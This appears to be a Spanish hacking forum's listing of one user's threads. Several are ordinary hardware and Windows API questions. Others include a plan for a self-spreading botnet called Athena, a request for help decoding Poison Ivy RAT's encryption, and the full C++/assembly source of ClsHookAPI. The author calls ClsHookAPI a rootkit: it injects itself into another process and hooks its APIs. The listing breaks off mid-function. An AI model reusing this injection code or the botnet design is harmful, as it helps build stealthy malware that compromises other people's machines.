Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - [Zero]

#1
Hardware / Montando un servidor NAS/HTPC
1 Septiembre 2011, 01:30 AM
Bueno, pues aquí estoy, ahora que aún tengo tiempo libre, pensando en el regalo que me haré por navidades, que aún queda mucho pero me gusta pensar mucho las cosas xD.

La primera idea era comprar un servidor NAS, para uso personal en casa, puesto que tengo 3(4) PC's y el móvil, y creo que le daría bastante uso, puesto que además alterno vivienda en semana - fin de semana por los estudios, donde por la semana comparto piso con 4 estudiantes más y tengo una conexión a internet buena. Pensé que le daría bastante uso, podría tenerlo siempre encendido y usarlo para hacer respaldos (que me fastidia lo suyo siempre que por un imprevisto me cargo el SO), como servidor de descargas por Bittorrent, P2P, DD, etc. Además, poder compartir estas descargas con los otros 4 compañeros y no tener que andar pendientes unos de otros para no acaparar toda la conexión.

Había visto varios equipos a la venta, listos para usar, de los que más me llamaban el Asus NAS-M25. Pero luego pensando un poco, y leyendo otro rato, recapacité y pensé que 180€ por algo que solo soporta dos bahías para discos, y que no incluye los discos, tendría por unos 300€ algo con capacidad de unos 4TB, pero que me parece bastante caro, ya que es el precio que pagué por mi netbook.

Luego curioseando vi que alguna gente recurre a armarse su propio NAS, con una placa Mini-ITX con un Atom 330, como ésta, que me parece muy barata, ponle unas RAM's y una caja y saldría más barato que el de Asus, con la ventaja de que podría ser ampliable, e instalando FreeNAS, por ejemplo, haría perfectamente la función de un NAS.

Pero luego de un rato, vi una placas Mini-ITX también, de Zotac, la ZOTAC ION ITX A incl. Intel® Atom 330, que si bien es BASTANTE más cara que la que simplemente monta un Atom, incluye una GPU de Nvidia que permite reproducir vídeo en 1080p, por ejemplo, además de numerosas conexiones USB, Wifi, y 3 puertos SATA + 1 eSATA. Con ésto saldría más caro el NAS, pero podría utilizarlo como NAS y como HTPC, quedando algo realmente interesante, podría usarlo para hacer backups, servidor de archivos/web, stream de música al móvil, ssh, servidor de descargas, repetidor wifi y además podría tenerlo al lado de la tele y utilizarlo para reproducir lo que se descarga, instalando una distro linux, que si bien llevaría bastante trabajo configurar todo creo que quedaría algo realmente versátil.

Entonces ahí ando, dudando entre las 3 opciones. La que más me gusta es la última, pero tengo la duda de si compensaría el extra de dinero invertido, y que tal rendiría la Zotac esa, en cuanto a consumo/ruído/calor, bueno, sobre todo si alguien me puede orientar un poco porque ando bastante perdido, cualquier idea ayudará, y puesto que hasta navidades queda mucho, tengo tiempo más que de sobra para pensármelo xD.

Saludos
#2
http://foro.noticias3d.com/vbulletin/showthread.php?t=353856


Tenía pensado comprar mi PC con Sandy Bridge este mismo sábado, y por lo que leo hasta Abril no sacarán los nuevos chipsets con el defecto arreglado, no puedo esperar tanto. ¿Qué me recomendáis? Me compro la placa en algún sitio donde aún no la hayan descatalogado (puedo usar los puertos SATA3), opto por otro microprocesador, voy al mediamarkt a quemar todo lo que tenga un chip intel, me pego un tiro... ?

Saludos
#3
Bueno, planeo comprarme un nuevo equipo antes de finales de este mes, llevo ya varios meses ojeando precios y tal, y tengo más o menos decidido lo que quiero, el presupuesto se movería sobre los 1300-1400, ésta es mi primera lista:

http://h-sec.org/pc/index.htm

Lo más decidido se puede decir que es el micro y la placa base, salvo que me digáis que es una burrada claro.

La tarjeta gráfica me gustó la 460, no usaré el pc para jugar, pero quiero que si algún día se me da por probar algún juego no tenga que dar una patada a la gráfica.

El disco pues fue de los primeros que vi, ahí agradecería sugerencias, no necesito mucha capacidad, creo que con medio tera iría sobrado.

Las tarjetas RAM me están volviendo loco. En las especificaciones del micro dice que la mayor frecuencia soportada es 1066, esto no es demasiado poco? Puedo enchufarle de igual forma una de por ejemplo 1333 aunque funcione como 1066 (Lo digo porque en alternate no hay mucho donde elegir entre las de 1066, la diferencia de precios es mínima y quiero perdirlo todo a la misma tienda).

El monitor me pillé ese para aprovechar la conexión HDMI de la gráfica, si me decís que no vale la pena me cojo uno más barato.

La caja, ventilador y fuente me pillé las de esa marca que parecen buenos y no son muy caros, no sé, me da un poco igual.

Acepto cualquier sugerencia, aunque tengo bastante claro lo de asus-intel-nvidia xD.

Gracias
#4
Bueno, pues la duda es lo que dice el título, estoy intentando usar VirtualAlloc o VirtualAllocEx, me da igual, para reservar memoria en una dirección de memoria fija, en concreto en 0x0040000 (teniendo el base address de mi ejecutable en 00300000). Levo días buscando la razón del error pero no encuentro nada que me sirva, ejecutando lo siguiente:


#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment(linker,"/ENTRY:main")

#include <Windows.h>

int main()
{
//CHAR MSG[1024];
//SYSTEM_INFO SystemInfo;
//GetSystemInfo(&SystemInfo);

//wsprintfA(MSG,"%s%X%s%X","MinimumApplicationAddress: ",SystemInfo.lpMinimumApplicationAddress,"\nMaximumApplicationAddress: ",SystemInfo.lpMaximumApplicationAddress);
//MessageBoxA(0,MSG,"Info",MB_ICONINFORMATION);

if(!VirtualAllocEx(GetCurrentProcess(),(LPVOID)0x00400000,0x1000,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE))
{
MessageBoxA(0,"Error al reservar memoria en 0x00400000",0,MB_ICONERROR);
return 0;
}

MessageBoxA(0,"Memoria Reservada correctamente en 0x00400000","Éxito",MB_ICONINFORMATION);

return 0;
}


Ojo, linkear el ejecutable con una dirección base diferente de 0x00400000 o en su defecto cambiar la dirección fija a reservar.

Éste código, en mi PC Win7 32bits reserva memoria bien sólo a veces, otras veces falla devolviendo last_error ERROR_INVALID_ADDRESS. Viendo con olly me dice que la dirección no está en uso incluso cuando falla, pero el error es como sí la dirección estuviera ya reservada  :-\.

Gracias por adelandato  :P
#5
    Proyecto Athena



    Athena será el nombre del Bot que realizaremos en éste post, un proyecto colaborativo en el que todo el mundo interesado podrá participar aportando código tanto en C como en ASM. El proyecto seguirá estrictamente las siguientes directrices:

    • El proyecto será OpenSource, el código se alojará en un repositorio al que todo el mundo podrá tener acceso, y al que los colaboradores podrán subir sus aportaciones.

    • Todas las posibles compilaciones del proyecto serán enviadas a empresas antivirus con el fin de que el Bot no pueda presentar ningún riesgo para la seguridad.

    • La finalidad del proyecto será única y exclusivamente el aprendizaje de técnicas usadas por Botnet's, intentando crear nuevos métodos y valorando la respuesta de las compañías antivirus.




      Desarrollo

    • Se utilizará GoogleCode como repositorio, y Subversion como sistema de control de versiones.
    • Para solicitar ser colaborador del proyecto usen un Mensaje Privado
    • Todas las funciones deberán estar acompañadas de una documentación detallada.
    • Se podrán aportar tanto funciones programadas en ASM como en C/C++.

    Log
    2 Abril 2010: Se realizó una reunión en un IRC con los miembros que hasta ese día se habían unido al proyecto para decidir con que funiones contará el bot. Se llegaron a los siguientes acuerdos:

        1. Se realizarán las funciones de conexión y propagación, entendiendo éstas como las más difíciles, y no se desarrollará ningún payload destructivo ni delictivo.
        2. Se repartieron los primeros trabajos, los cuales se programarán en los siguientes días y se subirán al repositorio, junto con una detallada documentación en la wiki.
        3. Las funciones de propagación que se decidieron implementar son las siguientes:
             -USB
             -P2P
             -AutoMail
             -Infección PE
             -Redes Sociales
             -Propagación Web
             -Exploits
             -MSN Spread
             -Putty Hooking

        4. La conexión se decidió realizarla de ésta forma:
             -Conexión IRC (TEMPORAL)
             -Conexión P2P
             -Cualquier nodo hace de Botmaster
             -Cifrado SSL
             -Búsqueda de Bots buscando en el rango de país

        5. El bot tendrá la siguiente estructura
             -Shellcode Loader (TLS) + Exe con .reloc (Resource Exe infectado)

    Colaboradores

    -SecMAM
    -RNA
    -JaixxonJax
    -Hacker_Zero
    -biribau
    -wisehacks
    -EPI

    Links

    Proyecto en GoogleCode
    http://code.google.com/p/athenabot/

    Wiki en GoogleCode
    http://code.google.com/p/athenabot/wiki/AthenaBot
    #6
    Bueno, llevo ya invertido bastante tiempo intentando sacarle las entrañas a la última versión del poison, la 2.3.2, tengo ya casi todo el código comentado del serverbase, hasta que conecta y pasan cosas mágicas. Bueno, la cosa es que di con la rutina que utiliza en servidor y el cliente para cifrar, y no consigo identificarla, pues no se nada de criptografía  :-\. Conozco lo que hace cada instrucción, pero la cifrado en su conjunto no se a que clase de algoritmo pertenece. Necesito saber cómo cifra los datos esa rutina para poder sniffear y modificar los datos que envía, y como voy a hacerlo en C, si no consigo encontrar que algoritmo sigue tendré que copiar los bytes directamente a un buffer y llamar al buffer, sin conocer el algoritmo, algo que me gustaría conocer  :P. Además, la rutina de cifrado es relativamente larga y bastante sistemática, lo que me hace pensar que no es un algoritmo casero, aunque quizás esté equivocado. Solo necesitaría saber si alguien puede identificar el algoritmo a simple vista y corresponde a un algoritmo conocido o por el contrario es una cifrado "casera":

    La llamada:


    La rutina:


    La función marcada como ??? a la cual llama la rutina anterior:


    Tambien sé que debe de ser una cifrado que utiliza pass, el pass de conexión  :P.

    Saludos, y gracias por anticipado
    #7
    ClsHookAPI

    ¿Para qué sirve?
         La clase ClsHookAPI nos permite crear aplicaciones en las que necesitemos hacer uso de un API Hooking de una forma muy sencilla, de forma que nos permita centrarnos en la programación que reciba el hook.

    ¿Cómo funciona?
         La clase lo que hace es inyectar el propio Rootkit en el proceso que tratamos de Hookear mediante ésta técnica. Una vez que tenemos todo el ejecutable en el mismo proceso, el Rootkit instala los Hooks redirigiendo las API's hacia las funciones del Rootkit inyectado en ese mismo proceso.

    ¿Qué consigues con eso?
         Al estar el Rootkit perfectamente inyectado en el proceso que queremos hookear, al redirigir las API's hacia las funciones que reciben el hook, las variables utiliadas en esa función, así como las llamadas a otras fuciones, API's, etc funcionarán perfectamente, lo que nos evita tener que preocuparnos de cargar las API's dinámicamente, deltas, variables imposibles, etc.

    ¿Cuanto facilita la clase el proceso?
         Al MÁXIMO!. La verdad no se me ocurrió ningúna forma más sencilla.

    ¿Cómo funciona?
         Lo primero es llamar al constructor de la clase y setear el proceso que queremos hookear:

    Código (cpp) [Seleccionar]

    ClsHookAPI Hook;
    Hook.SetHookedProcessName("ejecutable.exe");


         La función SetHookedProcessName() devuelve TRUE si se puedo abrir el proceso, y FALSE si ocurrió algún error, como que el proceso no esté en ejecución.

         Luego debemos definir la función que recibirá el hook. La función debe de usar la convención de llamada __stdcall para que no corrompa la pila. En la función podemos usar cualquier API o variable, incluso podemos llamar a la misma API que estamos Hookeando sin temor a que caiga en el hook. En éste caso hookearé MessageBoxA:

    Código (cpp) [Seleccionar]

    int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
    {
    //Llamamos a MessageBoxA normalmente, cambiando el mensaje que muestra
    return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0);
    }


         Ahora ya podemos instalar el Hook, para eso utilizamos el operador '<<' para setear el nombre de la DLL y la API, y el operador '>>' para indicar a donde queremos redirigir la API:

    Código (cpp) [Seleccionar]

    Hook<<"USER32.MessageBoxA";
    Hook>>(unsigned long)HookedMessageBoxA;


         Ya tendríamos la API MessageBoxA Hookeada  :P.

         Nota: #Es necesario setear la dirección a la que se redirigirá la API justo despues de indicar la API que queremos Hookear.

    ¿Puedo Hookear varias API's a la vez?
         Por supuesto, aquí un ejemplo de 3 Hooks simultáneos:

    Código (cpp) [Seleccionar]

    #pragma comment (linker,"/ENTRY:main")

    #include "ClsHookApi.h"

    int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);
    void __stdcall HookedExitProcess(UINT uExitCode);
    BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration);

    int main()
    {
    ClsHookAPI miHook;

    if(miHook.SetHookedProcessName("mensaje.exe"))
    {
    miHook<<"USER32.MessageBoxA";
    miHook>>(unsigned long)HookedMessageBoxA;

    miHook<<"KERNEL32.ExitProcess";
    miHook>>(unsigned long)HookedExitProcess;

    miHook<<"KERNEL32.DLL.Beep";
    miHook>>(unsigned long)HookedBeep;
    }

    return 0;
    }

    int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
    {
    return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0);
    }

    void __stdcall HookedExitProcess(UINT uExitCode)
    {
    MessageBoxA(0,"Has llamado a ExitProcess!","xD",0);
    return ExitProcess(uExitCode);
    }

    BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration)
    {
    Beep(1000,100);
    Beep(1000,100);
    return Beep(1000,100);
    }


    ¿Vale, me la das ya?
          Claro  :laugh:. Pongo aquí el código aunque es un poco largo. Más abajo ponto el proyecto de ejemplo en descarga.

    ClsHookAPI.h
    Código (cpp) [Seleccionar]

    //----------------------------------------------------------------------------------------------------
    //Autor: Hacker_Zero
    //Fecha: 11 enero 2010
    //Nombre: ClsHookApi
    //Descripción:
    // Clase en C++ que permite hookear API's de forma simultánea, facilitando enormemente
    //la programación de las funciones que reciven el hook así como la instalación de los
    //propios hooks.
    //----------------------------------------------------------------------------------------------------
    //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html>
    //Eres libre de utilizar, modificar y distribuír ésta clase siempre que mantengas ésta cabecera
    //----------------------------------------------------------------------------------------------------

    #include <windows.h>
    #include <Tlhelp32.h>
    #include <vector>
    #include <string.h>

    using namespace std;

    struct HookStruct
    {
    LPSTR lpAPI;
    LPSTR lpHookFunction;
    CHAR lpBuffer[11];
    HookStruct* previousHookStruct;
    HookStruct* nextHookStruct;
    };

    #ifndef HOOKAPI_H
    #define HOOKAPI_H

    void HookApi(HookStruct* miHookStruct);
    void mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer);
    void ControlFunction();
    void Caller();
    void UninstallHooks(HookStruct* miHookStruct);
    void RestoreHooks(HookStruct* miHookStruct);

    class ClsHookAPI
    {
    public:
    ClsHookAPI();
    ClsHookAPI& operator<<(LPSTR HookName);
    ClsHookAPI& operator>>(unsigned long lpFunctionHook);
    bool SetHookedProcessName(LPSTR ProcessName);

    private:
    void AddFunction(HookStruct miHookStruct);
    void InstallHook(HookStruct* miHookStruct);
    vector<HookStruct> Hooks;
    BOOL ExeInjected;
    HANDLE hProcess;
    LPSTR InjectedExeBaseAddress;
    HookStruct* lastInjectedHookStruct;
    };
    #endif


    ClsHookAPI.cpp
    Código (cpp) [Seleccionar]

    #include "ClsHookApi.h"

    //Constructor de la clase
    ClsHookAPI::ClsHookAPI()
    {
    InjectedExeBaseAddress=NULL;
    lastInjectedHookStruct=NULL;
    ExeInjected=false;
    }

    //Sobrecarga del operador '<<'
    ClsHookAPI& ClsHookAPI::operator<<(LPSTR HookName)
    {
    //Obtenemos la DLL y la API de HookName
    string strHookName;
    strHookName.append(HookName);
    string strDllName=strHookName.substr(0,strHookName.find_last_of("."));
    string strApiName=strHookName.substr(strHookName.find_last_of(".")+1);

    //Inicializamos la estructura y seteamos el puntero a la API
    HookStruct miHookStruct;
    miHookStruct.lpAPI=(LPSTR)GetProcAddress(LoadLibraryA(strDllName.c_str()),strApiName.c_str());

    //Añadimos la estructura al Array
    AddFunction(miHookStruct);

    return *this;
    }

    //Sobrecarga del operador '>>'
    ClsHookAPI& ClsHookAPI::operator>>(unsigned long lpFunctionHook)
    {
    Hooks.back().lpHookFunction=(LPSTR)lpFunctionHook;
    InstallHook(&Hooks.back());
    return *this;
    }

    void ClsHookAPI::AddFunction(HookStruct miHookStruct)
    {
    //Si es el primer elemento que añadimos
    if(!Hooks.size())
    {
    miHookStruct.previousHookStruct=NULL;
    }
    else
    {
    miHookStruct.previousHookStruct=this->lastInjectedHookStruct;
    }

    miHookStruct.nextHookStruct=NULL;
    //Insertamos la estructura en el array
    Hooks.push_back(miHookStruct);
    return;
    }

    //Seteamos el nombre del proceso en el que inyectaremos
    bool ClsHookAPI::SetHookedProcessName(LPSTR ProcessName)
    {
    HANDLE bakhProcess=hProcess;
    hProcess=NULL;

    HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 pInfo;
    pInfo.dwSize=sizeof(PROCESSENTRY32);

    //Obtenemos el PID del proceso
    Process32First(hSnapshot,&pInfo);
    for(;Process32Next(hSnapshot,&pInfo);)
    {
    if(!lstrcmpA(pInfo.szExeFile,ProcessName))
    {
    if(OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID))
    {
    ExeInjected=false;
    hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID);
    }
    }
    }

    if(!hProcess)
    {
    hProcess=bakhProcess;
    return false;
    }

    return true;
    }

    void ClsHookAPI::InstallHook(HookStruct* miHookStruct)
    {
    //Nos inyectamos en el proceso si no lo hemos hecho ya
    if(ExeInjected==false)
    {
    PIMAGE_DOS_HEADER IDH;
    PIMAGE_NT_HEADERS INTH;
    PIMAGE_SECTION_HEADER ISH;

    LPSTR lpFileName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
    GetModuleFileName(NULL,lpFileName,MAX_PATH);

    HANDLE hFile=CreateFileA(lpFileName,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
    DWORD szFile=GetFileSize(hFile,0);
    DWORD dwBytes;
    LPSTR lpFileMaped=(LPSTR)GlobalAlloc(GPTR,szFile);
    ReadFile(hFile,lpFileMaped,szFile,&dwBytes,0);
    CloseHandle(hFile);

    //Obtenemos la cabecera DOS y PE en las estructuras
    IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

    //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
    LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(this->hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    //Copiamos la cabecera DOS y PE al buffer
    WriteProcessMemory(this->hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);

    //Copiamos las secciones en su VirtualOffset en el buffer
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    WriteProcessMemory(this->hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
    }

    //Calculamos el delta entre la dirección del buffer y el ImageBase
    DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);

    //------------------------------------------------------------
    /* -Reubicamos la dirección base del ejecutable :D- */
    //------------------------------------------------------------

    //Obteemos el Image Base Relocation
    //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
    //poder trabajar con él más comodamente
    PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
    PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);

    //Vamos recorriendo todas las etradas del bloque
    for(DWORD n=0;IBR->VirtualAddress>0;n++)
    {
    //Obtenemos el Bloque de reubicación
    LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);

    //Obtenemos la primera entrada del bloque
    LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));

    //Recorremos todas las entradas del bloque
    for(DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
    {
    WORD valor;
    ReadProcessMemory(this->hProcess,RelocationEntry,&valor,2,0);
    //Obtenemos los 4 bits que definen el tipo de reubicación
    DWORD type=valor>>12;

    //Obtenemos los 12 bits que definen la dirección de la reubicación
    DWORD offset=valor&0xFFF;

    //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
    if(type==IMAGE_REL_BASED_HIGHLOW)
    {
    //Añadimos a la dirección que depende del imagebase original
    //el delta entre el imagebase y nuestra dirección base
    LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
    DWORD NewValue;
    ReadProcessMemory(this->hProcess,newAddr,&NewValue,4,0);
    NewValue+=Delta;
    WriteProcessMemory(this->hProcess,newAddr,&NewValue,4,0);
    }
    }

    //Vamos al siguiente bloque
    PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
    ReadProcessMemory(this->hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    }
    GlobalFree(IBR);


    //---------------------------------------------------------------------
    /* -Cargamos los valores de la IAT para poder llamar a las API's- */
    //---------------------------------------------------------------------

    PIMAGE_THUNK_DATA ITD;
    PIMAGE_THUNK_DATA PITD;
    PIMAGE_IMPORT_BY_NAME IIBN;

    //Comprobamos si hay Import Data Descriptor
    if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
    {

    //Obtenemos el Import Data Descriptor
    //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
    //poder trabajar con él más comodamente
    PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
    PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);

    //Vamos recorriendo todas las Dll's importadas por el ejecutable
    for(;IID->Name;)
    {
    //Obtenemos la longitud del nombre de la dll
    DWORD szName=0;
    CHAR miByte=1;
    for(int i=0;miByte;i++)
    {
    szName=i;
    ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
    }

    //Obtenemos el nombre de la dll
    LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
    ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);

    //Cargamos la dll
    HMODULE hLib=LoadLibraryA(lpName);

    //Obtenemos la dirección al primer miembro del array Image Thunk Data's
    PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
    ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
    ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);

    //Vamos recorriendo las funciones importadas
    for(DWORD x=0;ITD->u1.Ordinal;x++)
    {
    miByte=1;
    //Obtenemos la longitud del nombre de la API
    for(int i=0;miByte;i++)
    {
    szName=i;
    LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
    puntero+=i;
    ReadProcessMemory(this->hProcess,puntero,&miByte,1,0);
    }

    //Cargamos el Image Import By Name para obtener el nombre
    IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
    ReadProcessMemory(this->hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);

    //Obtenemos la dirección de la función y la guardamos en la IAT
    DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
    WriteProcessMemory(this->hProcess,ExeBuffer+IID->FirstThunk+x*sizeof(IMAGE_THUNK_DATA),&lpAPI,4,0);

    PITD++;
    ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    }
    PIID++;
    ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    GlobalFree(lpName);
    GlobalFree(ITD);
    }
    GlobalFree(IID);
    }
    this->InjectedExeBaseAddress=ExeBuffer;
    this->ExeInjected=true;
    }

    //Cambiamos el ImageBase a la dirección de la función que recibe el hook
    miHookStruct->lpHookFunction=(LPSTR)((unsigned long)this->InjectedExeBaseAddress+(unsigned long)miHookStruct->lpHookFunction-(unsigned long)GetModuleHandle(NULL));

    //Reservamos espacio para la estructura en el proceso en el que inyectamos
    HookStruct* lpHookStruct=(HookStruct*)VirtualAllocEx(this->hProcess,0,sizeof(HookStruct),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //Esribimos la estructura en el espacio reservado
    WriteProcessMemory(this->hProcess,lpHookStruct,miHookStruct,sizeof(HookStruct),0);

    //Seteamos el valor de nextHookStruct de la HookStruct anterior a la que acabamos de inyectar
    HookStruct* lastHookStruct=(HookStruct*)GlobalAlloc(GPTR,sizeof(HookStruct));
    ReadProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0);
    lastHookStruct->nextHookStruct=lpHookStruct;
    WriteProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0);

    //Seteamo el valor de lastInjectedHookStruct
    this->lastInjectedHookStruct=lpHookStruct;

    //Obteemos la dirección de la función HookApi
    DWORD lpHookApi=(DWORD)this->InjectedExeBaseAddress+(DWORD)HookApi-(DWORD)GetModuleHandle(NULL);

    //Llamamos al EntryPoint
    CreateRemoteThread(this->hProcess,0,0,(LPTHREAD_START_ROUTINE)lpHookApi,(HookStruct*)lpHookStruct,0,0);

    return;
    }

    //Pequeño código en ASM que por el cual sustituimos el comienzo de la API
    void __declspec(naked) Caller()
    {
    __asm
    {
    push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por el puntero a HookStruct
    push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por la dirección de ControlFunction
    ret
    }
    }

    void UninstallHooks(HookStruct* miHookStruct)
    {
    __asm pushad;
    //Nos desplazamos al primer Hook
    for(;miHookStruct->previousHookStruct!=NULL;)
    {
    miHookStruct=miHookStruct->previousHookStruct;
    }

    //Desinstalamos todos los Hooks
    for(;miHookStruct!=NULL;)
    {
    mCopyMemory(miHookStruct->lpAPI,miHookStruct->lpBuffer,11);
    FlushInstructionCache(GetCurrentProcess(),0,0);
    miHookStruct=miHookStruct->nextHookStruct;
    }
    __asm popad;
    }

    void RestoreHooks(HookStruct* miHookStruct)
    {
    __asm pushad;
    //Nos desplazamos al primer Hook
    for(;miHookStruct->previousHookStruct!=NULL;)
    {
    miHookStruct=miHookStruct->previousHookStruct;
    }

    //Volvemos a instalar todos los Hooks
    for(;miHookStruct!=NULL;)
    {
    //Copiamos los X primeros bytes de la api a nuestro buffer
    mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11);

    //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct
    mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4);

    //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction
    LPSTR dirControlFunction=(LPSTR)ControlFunction;
    mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4);

    //Cambiamos los 10 primeros bytes de la API por la función Caller
    mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11);
    FlushInstructionCache(GetCurrentProcess(),0,0);
    miHookStruct=miHookStruct->nextHookStruct;
    }
    __asm popad;
    }

    //Función a la que salta la API hookeda en que se inyectó 'Caller'
    void __declspec(naked) ControlFunction()
    {
    __asm
    {
    jmp go

    miHookStruct:
    nop
    nop
    nop
    nop

    retornar:
    _emit 0x68 //push
    dirRetorno:
    nop
    nop
    nop
    nop
    _emit 0xC3 //ret
         
    RetornoApi:
    nop
    nop
    nop
    nop
    Temp:
    nop
    nop
    nop
    nop

    go:
    //Sólo modificamos eax para no modificar más registros de los que modifica la API
    //Copiamos a Temp el primer parámetro que hay sobre la pila (lpHookStruct)
    mov eax,Temp
    push dword ptr ds:[esp]
    pop dword ptr ds:[eax]

    //Copiamos lpHookStruct a miHookStruct
    push 4
    push Temp
    push miHookStruct
    call mCopyMemory
    add esp,12 //Restauramos la pila

    //Quitamos lpHookStruct de la pila
    add esp,4

    //Copiamos a Temp el primer parámetro que hay sobre la pila (dirección de retorno)
    mov eax,Temp
    push dword ptr ds:[esp]
    pop dword ptr ds:[eax]

    //Copiamos la dirección de retorno a dirRetorno
    push 4
    push Temp
    push dirRetorno
    call mCopyMemory
    add esp,12 //Restauramos la pila

    //Quitamos la direcc de retorno de la pila
    add esp,4

    //LLamamos a UninstallHooks para desinstalar todos los hooks antes de llamar a la función que recive el Hook
    mov eax,miHookStruct
    push dword ptr ds:[eax]
    call UninstallHooks
    add esp,4

    //Llamamos a la función que recive el hook y copiamos el retorno a RetornoApi
    mov eax,miHookStruct
    mov eax,dword ptr ds:[eax]
    call dword ptr ds:[eax+0x04]
    push eax
    mov eax,RetornoApi
    pop dword ptr ds:[eax]

    //Restauramos todos los Hooks
    mov eax,miHookStruct
    push dword ptr ds:[eax]
    call RestoreHooks
    add esp,4

    //Movemos a eax el retorno de la API
    mov eax,RetornoApi
    push dword ptr ds:[eax]
    pop eax

    //Saltamos a la dirección de retorno
    jmp retornar
    }
    }

    void HookApi(HookStruct* miHookStruct)
    {
    __asm pushad;
    //Damos permisos de escritura, lectura y ejecución a nuestro buffer
    DWORD OldProtection;
